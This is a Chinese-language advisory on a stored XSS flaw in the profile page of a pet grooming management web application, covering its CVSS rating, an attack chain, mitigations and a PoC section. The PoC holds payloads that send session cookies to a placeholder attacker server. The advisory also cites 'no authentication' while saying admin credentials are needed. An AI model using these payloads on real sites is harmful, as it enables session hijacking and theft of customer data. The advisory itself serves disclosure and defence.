CVE-2025-60318：SourceCodester宠物美容管理系统XSS漏洞

漏洞信息

漏洞编号

CVE-2025-60318

漏洞类型

跨站脚本攻击（XSS）

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

SourceCodester Pet Grooming Management Software

漏洞概述

CVE-2025-60318是SourceCodester Pet Grooming Management Software（宠物美容管理软件）1.0版本中存在的一个跨站脚本（XSS）漏洞。该漏洞位于管理后台的/admin/profile.php文件中，具体涉及用户资料编辑页面的fname（名字）和lname（姓氏）两个输入字段。由于应用程序未对用户提交的数据进行充分的输入验证和输出编码，攻击者可以通过构造包含恶意JavaScript代码的payload，将脚本注入到这些字段中。当其他用户（包括管理员）查看被注入的页面时，恶意脚本将在受害者浏览器中执行。

该漏洞的CVSS评分为6.1分，属于中危级别。其攻击向量为网络（AV:N），攻击复杂度低（AC:L），无需特殊权限（PR:N），但需要用户交互（UI:R）。该漏洞的影响范围已发生变化（S:C），表明其可能影响到超出初始攻击目标的组件。攻击者可以利用此漏洞窃取用户的会话Cookie、获取敏感信息、执行未授权操作，或进行钓鱼攻击。由于目标系统是宠物美容管理类软件，可能存储有客户信息、订单数据等敏感内容，因此该漏洞对业务安全构成一定威胁。

根据公开的参考链接，该漏洞由安全研究人员ChuckBartowski7发现并报告，同时在GitHub上发布了详细的研究文档和验证视频。漏洞已于2025年10月8日正式公开披露。

技术细节

该XSS漏洞属于反射型/存储型跨站脚本攻击，具体类型取决于fname和lname字段的数据存储与展示方式。漏洞的根本原因在于/admin/profile.php文件在处理用户资料更新时，未对用户输入的fname和lname字段进行适当的HTML实体编码或过滤。

从技术实现角度来看，当管理员或授权用户在资料编辑页面提交表单时，前端字段fname和lname接收用户输入的数据并提交至服务器。服务器端在接收这些数据后，未对其进行严格的输入验证（如过滤尖括号、引号、JavaScript关键字等危险字符），也未在输出时进行HTML转义处理。恶意payload随后被存储在数据库中或直接反射回页面，当其他用户访问该页面时，浏览器将解析并执行嵌入在HTML中的恶意JavaScript代码。

利用方式方面，攻击者首先需要访问/admin/profile.php页面（通常需要管理员账户凭证），然后在fname或lname字段中注入类似"<script>alert(document.cookie)</script>"或"<img src=x onerror=alert(1)>"的payload。提交后，恶意脚本将被持久化存储。当其他管理员或用户查看包含该用户资料的页面时，脚本将在其浏览器上下文中执行，攻击者可以借此窃取会话令牌、重定向用户至恶意网站、修改页面内容或执行其他恶意操作。由于漏洞影响范围已变化（S:C），该XSS可能传播到应用程序的其他组件，扩大攻击影响。

攻击链分析

STEP 1

步骤1：获取访问权限

攻击者通过社会工程学、暴力破解或购买凭证等方式获取SourceCodester Pet Grooming Management Software管理员账户的登录凭证。

STEP 2

步骤2：定位漏洞端点

攻击者登录后访问管理后台的/admin/profile.php页面，该页面包含用户资料编辑功能，存在fname和lname两个未过滤的输入字段。

STEP 3

步骤3：构造恶意Payload

攻击者构造包含恶意JavaScript代码的XSS payload，例如窃取Cookie的脚本或重定向脚本，并将其注入到fname或lname字段中。

STEP 4

步骤4：提交恶意数据

攻击者提交表单，恶意payload被服务器接收并存储到数据库中。由于服务器未进行输入验证和输出编码，恶意脚本被持久化保存。

STEP 5

步骤5：触发漏洞执行

当其他管理员或用户查看包含该恶意资料的页面时，浏览器解析并执行嵌入的恶意JavaScript代码，攻击者可窃取会话凭证或执行其他恶意操作。

STEP 6

步骤6：权限提升与数据窃取

攻击者利用窃取的会话Cookie冒充受害者身份，获取更高的系统权限，进一步访问系统中的敏感数据，如客户信息、订单记录等。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<script> // Intercept session cookies and exfiltrate to attacker server var cookie = document.cookie; var img = new Image(); img.src = "http://attacker-server.com/steal?cookie=" + encodeURIComponent(cookie); </script>  <img src=x onerror="fetch('http://attacker-server.com/log?data='+document.cookie)">  <svg/onload=alert(document.domain)>

影响范围

SourceCodester Pet Grooming Management Software 1.0

防御指南

临时缓解措施

在官方补丁发布之前，建议采取以下临时缓解措施：1）对/admin/profile.php文件进行代码审查，在服务端对fname和lname字段添加输入过滤，使用正则表达式过滤尖括号、引号等危险字符；2）在输出时使用htmlspecialchars()等函数对数据进行HTML实体编码；3）在HTTP响应头中添加Content-Security-Policy策略，限制内联脚本执行；4）为所有会话Cookie设置HttpOnly属性，防止JavaScript窃取；5）限制/admin/profile.php的访问权限，仅允许可信IP地址访问管理后台；6）监控异常的用户资料修改行为，及时发现潜在的恶意注入。